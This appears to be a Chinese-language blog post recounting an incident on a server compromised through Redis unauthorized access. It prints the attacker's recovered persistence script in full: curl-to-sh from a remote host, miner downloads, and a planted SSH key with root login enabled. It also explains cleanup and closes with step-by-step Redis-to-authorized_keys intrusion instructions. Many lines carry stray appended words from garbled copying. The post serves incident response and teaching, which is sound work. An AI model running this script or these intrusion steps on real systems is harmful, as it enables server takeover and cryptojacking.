在沒有查到殺手以前我是先把帶寬&端口用iptables 作了限制這樣能保證我能遠程操做服務器才能查找緣由linux
2 在各類netstat –ntlp 的查看下沒有任何異常 在top 下查到了有異常進程還有些異常的這裏就截圖一個redis
3 結果果斷把進程給kill -9 了 沒想到再去ps的時候又來了意思就是會自動啓動它api
這就讓我想到了crond 這個自動任務果不其然 /var/spool/cron/root 這個文件被人作了手腳並且是二進制的聲音乾脆果斷又給刪除了, 覺得這下沒事告終果過了兩分鐘這個文件又來這個就引發我主要了聯想到了是否是有說明守護進程了這樣的事情確定是有守護進程在才 會發生的了,因而我去百度了下 jyam -c x -M stratum+tcp 果不其然確實有這樣的攻擊,網上說這個攻擊是因爲redis未受權登錄漏洞引 起致使黑客利用的結果我去redis 控制檯登陸一看當然有個莫名其妙的key 恰好這個key 就是ssh的key因而判定黑客是從reids的未受權漏 洞登錄進來的(由於便宜服務器防火牆是關閉狀態的端口所有開放的)安全
4 在服務器上我查了自動任務的文件被黑客編譯成二進制的源文件代碼,因此我沒法得知內容。 可是我在crond的日誌裏面找到了他下 載腳本的連接服務器
5 代碼大體以下網絡
exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin運維
echo "*/2 ** * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" >/var/spool/cron/rootssh
# echo "*/2* * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x - Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8 Coo:x@xmr.crypto-pool.fr:6666/xmr">> /var/spool/cron/rootcurl
echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/roottcp
ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c x - Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8 Coo:x@xmr.crypto-pool.fr:6666/xmr&
if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh- rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkB CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3tx L6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX 1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes">> /etc/ssh/sshd_config
echo "RSAAuthentication yes">> /etc/ssh/sshd_config
echo "PubkeyAuthenticationyes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f"/opt/yam/yam" ]; then
mkdir -p /opt/yam
curl -f -Lhttps://r.chanstring.com/api/download/yam -o /opt/yam/yam
chmod +x /opt/yam/yam
# /opt/yam/yam -c x - Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8 Coo:x@xmr.crypto-pool.fr:6666/xmr
fi
if [ ! -f"/opt/gg3lady" ]; then
curl -f -Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady
chmod +x /opt/gg3lady
fi
# yam=$(ps auxf| grep yam | grep -v grep | wc -l)
# gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l)
# cpu=$(cat/proc/cpuinfo | grep processor | wc -l)
# curlhttps://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname-i`
因而終於找到源頭了,下面咱們來分析下這個腳本
6 腳本分析
echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool /cron/root 每兩分鐘來一次這個腳本
echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root
這個腳本我不知道幹麼的應該是生成這個自動任務文件的守護進程以致於刪除自動任務文 件會自動再來一份 腳本進程死了這個自動任務又會起來
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratu m+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV 6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
這個是挖礦腳本,黑客靠這個鏈接池去挖btc(比特幣)意思就是這個肉雞已經提供了
下面這個就是一個免密鑰登錄的腳本了
下面這兩個是下載文件的腳本跟賦權限
整個腳本的大體就這樣
7 處理方法只要把 /var/spool/cron/root 刪除 /opt/yam/yam 刪除 /opt/gg3lady 刪除 .ssh/KHK75NEOiq 刪除
把gg3lady yam 進程結束還有就是sshd_confg 文件還原,把redis入侵的key刪除應該就沒問題了。可是爲了安全起見仍是但願
重裝服務器,不確保別人 不留其餘的漏洞
關於reidis 未受權登錄漏洞
漏洞概要
Redis 默認狀況下,會綁定在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,若是在沒有開啓認證的狀況下,能夠致使任意用戶在能夠訪問目標服務器的狀況下未受權訪問Redis以及讀取Redis的數據。攻擊者在未受權訪問Redis的狀況下能夠利用Redis的相關方法,能夠成功將本身的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而能夠直接登陸目標服務器。
漏洞概述
Redis 默認狀況下,會綁定在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,若是在沒有開啓認證的狀況下,能夠致使任意用戶在能夠訪問目標服務器的狀況下未受權訪問Redis以及讀取Redis的數據。攻擊者在未受權訪問Redis的狀況下能夠利用Redis的相關方法,能夠成功將本身的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而能夠直接登陸目標服務器。
漏洞描述
Redis 安全模型的觀念是: 「請不要將Redis暴露在公開網絡中, 由於讓不受信任的客戶接觸到Redis是很是危險的」 。
Redis 做者之因此放棄解決未受權訪問致使的不安全性是由於, 99.99%使用Redis的場景都是在沙盒化的環境中, 爲了0.01%的可能性增長安全規則的同時也增長了複雜性, 雖然這個問題的並非不能解決的, 可是這在他的設計哲學中還是不划算的。
由於其餘受信任用戶須要使用Redis或者由於運維人員的疏忽等緣由,部分Redis 綁定在0.0.0.0:6379,而且沒有開啓認證(這是Redis的默認配置),若是沒有進行採用相關的策略,好比添加防火牆規則避免其餘非信任來源 ip訪問等,將會致使Redis服務直接暴露在公網上,致使其餘用戶能夠直接在非受權狀況下直接訪問Redis服務並進行相關操做。
利用Redis自身的相關方法,能夠進行寫文件操做,攻擊者能夠成功將本身的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys文件中,進而能夠直接登陸目標服務器。 (致使能夠執行任何操做)
漏洞影響
Redis 暴露在公網(即綁定在0.0.0.0:6379,目標IP公網可訪問),而且沒有開啓相關認證和添加相關安全策略狀況下可受影響而致使被利用。
這裏我能夠演示一遍給你們看看怎麼經過redis未受權漏洞直接免密鑰進行登錄
攻擊過程
(注意我本機是162 要入侵的服務器是161)
1 生成本地服務器私鑰跟公鑰
2 把公鑰寫進咱們要攻擊的服務器的redis一個key裏面去 (爲何要把公鑰加空格追加到一個文件是由於redis的存儲)
3 登錄要攻擊的服務器redis控制檯,重新定義redis保存數據的路徑爲configset dir /root/.ssh/(這個是須要知道linux下面ssh 面密鑰登錄的key默認的存放才能設定的默認狀況下是/roo/.ssh通常狀況下不少管理員都不會去更改),在把reids的dbfilename定於成 linux 下面ssh面密鑰登錄的文件名就行了configset dbfilename "authorized_keys"(默認文件名是authorized_keys 這個廣大linux管理員都這個這個因此這個入侵仍是要點linux功底的),最後保存 save
4 激動人心的時刻到了直接ssh 登錄192.168.8.161 無須要密碼就能登錄了
到這裏咱們就能夠徹底控制別人的服務器了,你先怎麼玩就怎麼玩了(僅供學習研究)